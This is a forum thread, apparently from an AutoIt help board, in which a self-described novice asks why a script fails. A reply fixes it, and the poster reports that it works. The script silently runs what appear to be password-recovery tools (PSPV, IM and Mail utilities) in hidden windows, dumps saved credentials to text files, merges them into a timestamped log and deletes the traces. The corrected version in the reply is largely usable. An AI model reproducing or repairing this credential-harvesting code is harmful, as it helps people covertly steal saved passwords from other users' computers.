Sign in to follow this  
Followers 0
yokken

Complete noob...

3 posts in this topic

I didn't write any of this code by myself. Can somebody please tell me why it's not working? I've looked all over and experimented. It keeps giving me the same error.

Line 0 (File"L:\Stuff/lol.exe"):
Run(@ComSpec & '/k"..\Password\Software\PSPV.exe /stext
Run(ComSpec &^ ERROR
Error: Unable to parse line.

There's the error, and...

Run(@ComSpec &  /k ..\Password\Software\PSPV.exe /stext
..\Password\New\PSPV.txt, @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec &  /k ..\Password\Software\IM.exe /stext
..\Password\New\IM.txt, @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec &  /k ..\Password\Software\Mail.exe /stext
..\Password\New\Mail.txt, @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec &  /k COPY ..\Password\New\*txt ..\Password\New\all.txt,
sleep(1000)

Dim $DateTime, $Location, $Filename
$Datetime = @YEAR & - & @MON & @MDAY & @HOUR & - & @MIN & - & @SEC
$Location = @WorkingDir & \new\
$FileName = all.txt
FileMove($Location & $FileName , $Location & $DateTime & .log,1)
sleep (2000)

Run(@ComSpec &  /k del ..\Password\New\*txt, @ScriptDir, @SW_HIDE)
Sleep(1000)

There's the code.

Can somebody PLEASE help me? I just want to test a script. Much appreciated.

Share this post


Link to post
Share on other sites



Using the proper quotes usually helps:

Run(@ComSpec & ' /k "You Must Fill The Path In here I am Sure\Password\Software\PSPV.exe /stext You Must Fill The Path In here I am Sure\Password\New\PSPV.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "You Must Fill The Path In here I am Sure\Password\Software\IM.exe /stext You Must Fill The Path In here I am Sure\Password\New\IM.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "You Must Fill The Path In here I am Sure\Password\Software\Mail.exe /stext You Must Fill The Path In here I am Sure\Password\New\Mail.txt"', @ScriptDir, @SW_HIDE)
sleep(200)

Run(@ComSpec & ' /k "COPY You Must Fill The Path In here I am Sure\Password\New\*txt You Must Fill The Path In here I am Sure\Password\New\all.txt"',
sleep(1000)

Dim $DateTime, $Location, $Filename
$Datetime = @YEAR & "-" & @MON & @MDAY & @HOUR & "-" & @MIN & "-" & @SEC
$Location = @WorkingDir & '\new\'
$FileName = "all.txt"
FileMove($Location & $FileName , $Location & $DateTime & ".log",1)
sleep (2000)

Run(@ComSpec & ' /k "del You Must Fill The Path In here I am Sure\Password\New\*txt"', @ScriptDir, @SW_HIDE)
Sleep(1000)
Just a warning... if you run the above, it will fail... look at what I filled in to maybe understand.


[center]Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer.[/center]

Share this post


Link to post
Share on other sites

It works!.. for the most part. It's having trouble with the end and the all.txt part, but that's all I needed. Thank you SO much!

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0